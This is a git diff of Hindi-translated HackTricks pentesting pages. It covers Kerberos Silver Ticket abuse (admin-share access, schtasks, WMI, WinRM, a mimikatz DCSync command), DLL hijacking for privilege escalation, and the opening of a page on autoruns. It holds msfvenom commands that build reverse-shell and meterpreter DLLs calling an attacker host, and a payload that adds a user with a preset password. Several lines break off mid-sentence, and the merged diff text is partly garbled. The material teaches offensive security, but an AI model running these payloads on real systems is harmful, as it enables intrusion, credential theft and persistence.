[**ired.team में Silver Tickets के बारे में अधिक जानकारी**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
## उपलब्ध सेवाएं
| सेवा प्रकार | सेवा Silver Tickets |
| -------------- | --------------------- |
| WMI | HOST, RPCSS |
| PowerShell Remoting | HOST, HTTP, आवश्यकतानुसार ऑपरेटिंग सिस्टम के अनुसार: WSMAN, RPCSS |
| WinRM | HOST, HTTP, कुछ मौकों पर आप सिर्फ WINRM के लिए पूछ सकते हैं |
| Scheduled Tasks | HOST |
| Windows File Share, भी psexec | CIFS |
| LDAP operations, DCSync समेत | LDAP |
| Windows Remote Server Administration Tools | RPCSS, LDAP, CIFS |
| Golden Tickets | krbtgt |
| सेवा प्रकार | सेवा Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>आवश्यकतानुसार ऑपरेटिंग सिस्टम के अनुसार भी:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>कई अवसरों में आप सिर्फ WINRM के लिए पूछ सकते हैं</p> |
| Scheduled Tasks | HOST |
| Windows File Share, और psexec | CIFS |
| LDAP operations, शामिल है DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
**Rubeus** का उपयोग करके आप इन सभी टिकट के लिए पूछ सकते हैं इस पैरामीटर का उपयोग करके:
@ -86,7 +86,7 @@ Silver ticket इवेंट आईडी (golden ticket से अधिक
### CIFS
इस टिकट के साथ आप **SMB** के माध्यम से `C$` और `ADMIN$` फ़ोल्डर तक पहुंच सकेंगे (यदि वे प्रकट हों) और दूरस्थ फ़ाइल सिस्टम के एक हिस्से में फ़ाइलें कॉपी कर सकेंगे, बस इस तरह कुछ करके:
इस टिकट के साथ आप **SMB** के माध्यम से `C$` और `ADMIN$` फ़ोल्डर तक पहुंच सकेंगे (यदि वे प्रकट हैं) और रिमोट फ़ाइल सिस्टम के एक हिस्से में फ़ाइलें कॉपी कर सकेंगे, बस इस तरह कुछ करके:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
@ -114,7 +114,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
इन टिकट के साथ आप **पीड़ित सिस्टम में WMI को निष्पादित कर सकते हैं**:
इन टिकट के साथ आप **पीड़ित सिस्टम में WMI को क्रियान्वित कर सकते हैं**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -124,18 +124,18 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
विंडोज में winrm एक्सेस के साथ एक कंप्यूटर को आप **एक्सेस कर सकते हैं** और यहां तक ​​कि आप PowerShell भी प्राप्त कर सकते हैं:
विंडोज में winrm एक्सेस के साथ आप कंप्यूटर का उपयोग कर सकते हैं और यहां तक ​​कि आप पावरशेल तक पहुंच सकते हैं:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
एक दूरस्थ होस्ट से संपर्क स्थापित करने के लिए और अधिक तरीकों के बारे में जानने के लिए निम्नलिखित पृष्ठ की जांच करें:
एक दूरस्थ होस्ट से संपर्क स्थापित करने के और अधिक तरीकों के बारे में जानने के लिए निम्नलिखित पृष्ठ की जांच करें:
{% content-ref url="../ntlm/winrm.md" %}
[winrm.md](../ntlm/winrm.md)
{% endcontent-ref %}
{% hint style="warning" %}
ध्यान दें कि उसे एक्सेस करने के लिए दूरस्थ कंप्यूटर पर **winrm सक्रिय और सुन रहा** होना चाहिए।
ध्यान दें कि रिमोट कंप्यूटर पर **winrm सक्रिय और सुन रहा होना चाहिए** उसे एक्सेस करने के लिए।
{% endhint %}
### LDAP
@ -150,9 +150,9 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_चकदार पोलिश लिखित और बोली जानी चाहिए_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_चकदार पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -163,7 +163,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
</details>

View file

@ -4,63 +4,63 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण करें**।**
* **अपने हैकिंग ट्रिक्स को** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपने हैकिंग ट्रिक्स साझा करें।**
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियोक्ता हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
## परिभाषा
सबसे पहले, चलो परिभाषा निकाल लेते हैं। डीएल हिजैकिंग, सबसे व्यापक रूप में, एक विश्वसनीय/विश्वसनीय एप्लिकेशन को धोखा देना है, जिसमें एक अनियमित डीएल लोड होता है। _डीएल सर्च आर्डर हिजैकिंग_, _डीएल लोड आर्डर हिजैकिंग_, _डीएल स्पूफिंग_, _डीएल इंजेक्शन_ और _डीएल साइड-लोडिंग_ जैसे शब्द अक्सर -गलती से- एक ही बात कहने के लिए प्रयोग किए जाते हैं।
सबसे पहले, चलो परिभाषा निकाल लेते हैं। डीएल अधिकार हथियाना, सबसे व्यापक रूप में, एक विश्वसनीय/विश्वसनीय एप्लिकेशन को **एक अनियमित डीएल लोड करने में धोखा देना** है। _डीएल खोज क्रम हथियाना_, _डीएल लोड क्रम हथियाना_, _डीएल छल_, _डीएल इंजेक्शन_ और _डीएल साइड-लोडिंग_ जैसे शब्द अक्सर -गलती से- एक ही बात कहने के लिए प्रयोग किए जाते हैं।
डीएल हिजैकिंग का उपयोग कोड को **चलाने**, **स्थायित्व** प्राप्त करने और **अधिकार हथियाने** के लिए किया जा सकता है। इन 3 में से **सबसे कम संभावित** अधिकार हथियाना है। हालांकि, यह विशेषण हिस्सा है, इसलिए मैं इस विकल्प पर ध्यान केंद्रित करूंगा। इसके अलावा, ध्यान दें कि लक्ष्य के बावजूद, डीएल हिजैकिंग एक ही तरीके से किया जाता है।
डीएल अधिकार हथियाना का उपयोग **कोड को निष्पादित** करने, **स्थायित्व** प्राप्त करने और **अधिकारों को बढ़ाने** के लिए किया जा सकता है। इन 3 में से **सबसे कम संभावित** अधिकार हथियाना है बहुत दूर। हालांकि, यह विशेषण हिस्से का हिस्सा है, मैं इस विकल्प पर ध्यान केंद्रित करूंगा। इसके अलावा, ध्यान दें कि लक्ष्य के बावजूद, डीएल अधिकार हथियाना एक ही तरीके से किया जाता है।
### प्रकार
इसमें चयन करने के लिए **विविध दृष्टिकोण** हैं, जिनकी सफलता उस पर निर्भर करती है कि एप्लिकेशन अपनी आवश्यक डीएल को लोड करने के लिए कैसे कॉन्फ़िगर किया गया है। संभावित दृष्टिकोणों में शामिल हैं:
1. **डीएल प्रतिस्थापन**: एक विश्वसनीय डीएल को एक दुष्ट डीएल के साथ बदलें। इसे _डीएल प्रॉक्सीग_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)] के साथ कम्बाइन किया जा सकता है, जो सुनिश्चित करता है कि मूल डीएल की सभी कार्यक्षमता संभव होती है।
2. **डीएल सर्च आर्डर हिजैकिंग**: एक ऐप्लिकेशन द्वारा निर्दिष्ट की जाने वाली DLLs बिना पथ के निश्चित क्रम में खोजी जाती हैं \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]। हिजैकिंग सर्च आर्डर उस स्थान पर होती है जहां वास्तविक DLL से पहले खोजी जाती है।
1. **डीएल प्रतिस्थापन**: एक विश्वसनीय डीएल को एक दुष्ट डीएल के साथ प्रतिस्थापित करें। इसे _डीएल प्रॉक्सीग_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)] के साथ कम्बाइन किया जा सकता है, जो सुनिश्चित करता है कि मूल डीएल की सभी कार्यक्षमता संबंधित रहती है।
2. **डीएल खोज क्रम हथियाना**: एक ऐसी डीएल जिसे एक एप्लिकेशन ने पथ के बिना निर्दिष्ट किया है, एक विशेष क्रम में निर्दिष्ट स्थानों में खोजा जाता है \[[3](https://docs.microsoft.com
## गुम हो गई DLL का उपयोग करना
विशेषाधिकारों को बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम **एक DLL लिख सकें जिसे एक विशेषाधिकार प्रक्रिया लोड करने की कोशिश करेगी** किसी **ऐसे स्थान पर जहां इसे खोजा जाएगा**। इसलिए, हमें यह करने के लिए संभवतः एक **फ़ोल्डर** में एक DLL **लिखने** की क्षमता होगी जहां **वास्तविक DLL** से पहले खोजी जाती है (अजीब मामला), या हमें यह करने की क्षमता होगी कि कुछ फ़ोल्डर पर **लिखें जहां DLL खोजी जाएगी** और मूल **DLL किसी भी फ़ोल्डर में मौजूद नहीं है**
विशेषाधिकारों को बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम किसी ऐसी DLL को लिख सकें जिसे एक विशेषाधिकार प्रक्रिया लोड करने की कोशिश करेगी किसी ऐसे स्थान पर जहां इसे खोजा जाएगा। इस प्रकार, हमें एक DLL को लिखने में सक्षम होगा जहां DLL को खोजने से पहले खोजे जाने वाले फ़ोल्डर से पहले खोजा जाता है (अजीब मामला), या हमें एक ऐसे फ़ोल्डर पर लिखने में सक्षम होगा जहां DLL को खोजा जाने वाले फ़ोल्डर में मौजूद नहीं है।
### DLL खोज क्रम
**माइक्रोसॉफ्ट दस्तावेज़ीकरण** में आपको विशेष रूप से देखने को मिलेगा कि DLL कैसे खोले जाते हैं।
**माइक्रोसॉफ्ट दस्तावेज़ीकरण** में आप विशेष रूप से देख सकते हैं कि DLL कैसे लोड होती हैं।
सामान्य रूप से, **Windows एप्लिकेशन** DLL खोजने के लिए **पूर्व-निर्धारित खोज पथ** का उपयोग करेगा और यह निश्चित क्रम में इन पथों की जांच करेगा। DLL हाइजैकिंग आमतौर पर इस समस्या के कारण होती है कि एक खतरनाक DLL को इन फ़ोल्डरों में रखा जाता है जबकि सुनिश्चित किया जाता है कि वास्तविक DLL से पहले यह खोजा जाता है। इस समस्या को दूर किया जा सकता है जब एप्लिकेशन वास्तविक DLL की निर्दिष्ट यात्री पथों को निर्दिष्ट करता है।
सामान्य रूप से, एक **Windows एप्लिकेशन** DLL खोजने के लिए **पूर्व-निर्धारित खोज पथ** का उपयोग करेगी और यह पथों की एक विशेष क्रम में जांचेगी। DLL हाइजैकिंग आमतौर पर इस समस्या के कारण होती है कि एक खतरनाक DLL को इन फ़ोल्डरों में स्थानित किया जाता है जबकि सुनिश्चित किया जाता है कि वास्तविक DLL से पहले यह खोजा जाता है। इस समस्या को अपनी आवश्यकताओं के अनुसार DLL के लिए निर्दिष्ट पूर्ण पथ निर्दिष्ट करके कम किया जा सकता है।
आप 32-बिट सिस्टम पर **DLL खोज क्रम** देख सकते हैं:
आप 32-बिट सिस्टम पर DLL खोज क्रम देख सकते हैं:
1. ऐप्लिकेशन ने लोड किया है उस निर्देशिका से।
2. सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) फ़ंक्शन का उपयोग करें। (_C:\Windows\System32_)
3. 16-बिट सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए कोई फ़ंक्शन नहीं है, लेकिन इसे खोजा जाता है। (_C:\Windows\System_)
4. Windows निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) फ़ंक्शन का उपयोग करें। (_C:\Windows_)
5. वर्तमान निर्देशिका
6. PATH पर्यावरण चर के सूचीबद्ध निर्देशिकाएँ। ध्यान दें कि इसमें **App Paths** रजिस्ट्री कुंजी द्वारा निर्दिष्ट प्रत्येक एप्लिकेशन पथ शामिल नहीं होता है। DLL खोज पथ की गणना करते समय **App Paths** कुंजी का उपयोग नहीं किया जाता है।
1. ऐप्लिकेशन ने लोड किया है उस डायरेक्टरी से।
2. सिस्टम डायरेक्टरी। इस डायरेक्टरी का पथ प्राप्त करने के लिए [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) फ़ंक्शन का उपयोग करें। (_C:\Windows\System32_)
3. 16-बिट सिस्टम डायरेक्टरी। इस डायरेक्टरी का पथ प्राप्त करने के लिए कोई फ़ंक्शन नहीं है, लेकिन इसे खोजा जाता है। (_C:\Windows\System_)
4. Windows डायरेक्टरी। इस डायरेक्टरी का पथ प्राप्त करने के लिए [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) फ़ंक्शन का उपयोग करें। (_C:\Windows_)
5. वर्तमान डायरेक्टरी
6. PATH पर्यावरण चर के सूचीबद्ध डायरेक्टरी। ध्यान दें कि इसमें **App Paths** रजिस्ट्री कुंजी द्वारा निर्दिष्ट प्रति-एप्लिकेशन पथ शामिल नहीं होता है। DLL खोज पथ की गणना करते समय **App Paths** कुंजी का उपयोग नहीं किया जाता है।
यह **डिफ़ॉल्ट** खोज क्रम है जब **SafeDllSearchMode** सक्षम है। जब यह अक्षम हो जाता है, वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाता है। इस सुविधा को अक्षम करने के लिए, **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** रजिस्ट्री मान को बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम होता है)।
यह डिफ़ॉल्ट खोज क्रम है जब **SafeDllSearchMode** सक्षम होता है। जब यह अक्षम होता है, वर्तमान डायरेक्टरी दूसरे स्थान पर बढ़ जाता है। इस सुविधा को अक्षम करने के लिए, **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** रजिस्ट्री मान को बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम होता है)।
यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन **LOAD\_WITH\_ALTERED\_SEARCH\_PATH** के साथ कॉल किया जाता है, तो खोज उस निर्देशिका में शुरू होती है जिस **LoadLibraryEx** लोड कर रहा है।
यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन **LOAD\_WITH\_ALTERED\_SEARCH\_PATH** के साथ कॉल किया जाता है, तो खोज उस एक्सीक्यूटेबल मॉड्यूल के डायरेक्टरी में शुरू होती है जिसे **LoadLibraryEx** लोड कर रहा है।
अंत में, ध्यान दें कि **एक DLL केवल नाम के साथ लोड किए जाने पर भी वास्तविक पथ के लिए खोजी जाएगी**। उस मामले में वह DLL **केवल उस पथ में खोजी जाएगी** (यदि DLL के कोई भी आवश्यकताएँ हैं, तो वे नाम के द्वारा लोड किए जाएंगे)।
अंत में, ध्यान दें कि **एक DLL को केवल नाम के साथ लोड किया जाने पर भी एक पूर्ण पथ निर्दिष्ट करके लोड किया जा सकता है**। उस मामले में वह DLL केवल उस पथ में खोजा जाएगा (यदि DLL के कोई आवश्यकताएं हैं, तो वे नाम के द्वारा लोड किए गए होंगे)।
खोज क्रम को बदलने के अन्य तरीके हैं, लेकिन मैं यहां उन्हें समझाने वाला नहीं हू
खोज क्रम को बदलने के अन्य तरीके हैं, लेकिन मैं यहां उन्हें समझाने वाला नहीं हू
#### Windows दस्तावेज़ीकरण से DLL खोज क्रम पर अपवाद
* यदि **एक DLL उसी मॉड्यूल नाम के साथ पहले से ही मेमोरी में लोड हो गई है**, तो सिस्टम केवल पुनर्निर्देशन और एक मंचन परिपत्र की जांच करता है पहले से लोड हुई DLL के लिए, चाहे वह किसी भी निर्देशिका में हो। **सिस्टम DLL की खोज नहीं करता है**
* यदि DLL वह Windows संस्करण के लिए **ज्ञात DLL सूची** में है जिस पर एप्लिकेशन चल रही है, तो **सिस्टम उसके प्रतिलिपि का उपयोग करता है** (और ज्ञात DLL की आवश्यक DLL, यदि कोई हो) **खोज करने के बजाय**। वर्तमान सिस्टम पर ज्ञात DLL की सूची के लिए, निम्नलिखित रजिस्ट्री कुंजी देखें: **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\
* यदि **एक DLL उसी मॉड्यूल नाम के साथ पहले से ही मेमोरी में लोड हो गई है**, तो सिस्टम केवल पुनर्निर्देशन और एक मंचन पर जांचता है इसे खोजने से पहले लोड की गई DLL के लिए, चाहे वह किसी भी डायरेक्टरी में हो। **सिस्टम DLL की खोज नहीं करता है**
* यदि DLL उस Windows संस्करण के लिए **ज्ञात DLL सूची में है** जिस पर एप्लिकेशन चल रही है, तो **सिस्टम उसके प्रतिलिपि का उपयोग करता है** (और ज्ञात DLL की आवश्यक DLL, यदि कोई हो) **खोजने के बजाय** DLL के लिए। वर्तमान सिस्टम पर ज्ञात DLL की सूची के लिए, निम्नलिखित रजिस्ट्री कुंजी देखें: **HKEY\_LOCAL\_
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
@ -69,12 +69,12 @@ icacls "C:\Python27"
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
आप एक executable के imports और एक dll के exports को भी जांच सकते हैं:
आप एक executable के imports और एक dll के exports की भी जांच कर सकते हैं:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
एक पूर्ण गाइड के लिए कैसे **विशेषाधिकार बढ़ाने के लिए Dll Hijacking का दुरुपयोग करें** जिसमें **सिस्टम पथ फ़ोल्डर** में लिखने की अनुमति होती है, देखें:
एक पूर्ण गाइड के लिए कैसे **विशेषाधिकार को बढ़ाने के लिए Dll Hijacking का दुरुपयोग करें** जिसमें **सिस्टम पथ फ़ोल्डर** में लिखने की अनुमति होती है, देखें:
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %}
[writable-sys-path-+dll-hijacking-privesc.md](dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
@ -82,12 +82,12 @@ dumpbin /export /path/file.dll
### स्वचालित उपकरण
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) यह जांचेगा कि क्या आपके पास सिस्टम पथ के किसी भी फ़ोल्डर में लिखने की अनुमति है।\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) यह जांचेगा कि क्या आपके पास सिस्टम पाथ के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है।\
इस दुर्लभता की खोज करने के लिए अन्य रोचक स्वचालित उपकरण हैं **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ और _Write-HijackDll_
### उदाहरण
यदि आप एक उपयोगी स्थिति खोजते हैं तो इसे सफलतापूर्वक उपयोग करने के लिए सबसे महत्वपूर्ण चीजें में से एक होगी कि **एक dll बनाएं जो कम से कम सभी फ़ंक्शन्स को निर्यात करता है जिन्हें एक्ज़क्यूटेबल उससे आयात करेगा**। फिर भी, ध्यान दें कि Dll Hijacking मध्यम अधिकार स्तर से उच्च **(UAC को छलने के साथ)** या **उच्च अधिकार से सिस्टम** तक बढ़ाने के लिए उपयोगी होता है। आप एक मान्य dll बनाने का उदाहरण इस dll हिजैकिंग अध्ययन में पा सकते हैं जिसमें dll हिजैकिंग के लिए निर्देशित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
यदि आप एक उपयोगी स्थिति खोजते हैं तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक यह होगा कि **एक dll बनाएं जो कम से कम सभी फ़ंक्शन्स को निर्यात करता है जिन्हें एक्ज़िक्यूटेबल उससे आयात करेगा**। फिर भी, ध्यान दें कि Dll Hijacking मध्यम अधिकार स्तर से उच्च **(UAC को छलने के साथ)** या **उच्च अधिकार से सिस्टम** तक बढ़ाने के लिए उपयोगी होता है। आप एक मान्य dll बनाने का उदाहरण इस dll हिजैकिंग अध्ययन में पा सकते हैं जिसमें dll हिजैकिंग के लिए निर्देशित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
इसके अलावा, **अगले खंड** में आपको कुछ **मूलभूत dll कोड** मिलेगा जो **टेम्पलेट** के रूप में उपयोगी हो सकता है या **अनावश्यक फ़ंक्शन्स को निर्यात करने के लिए एक dll बनाने** के लिए।
## **Dll बनाना और कंपाइल करना**
@ -108,7 +108,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**एक उपयोगकर्ता बनाएं (x86 में x64 संस्करण नहीं देखा गया):**
**एक उपयोगकर्ता बनाएं (x86 में मैंने x64 संस्करण नहीं देखा):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
@ -195,7 +195,7 @@ break;
return TRUE;
}
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
@ -209,6 +209,6 @@ return TRUE;
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,18 +1,18 @@
# ऑटोरन द्वारा विशेषाधिकार उन्नय
# ऑटोरन्स के साथ प्रिविलेज एस्केलेश
<details>
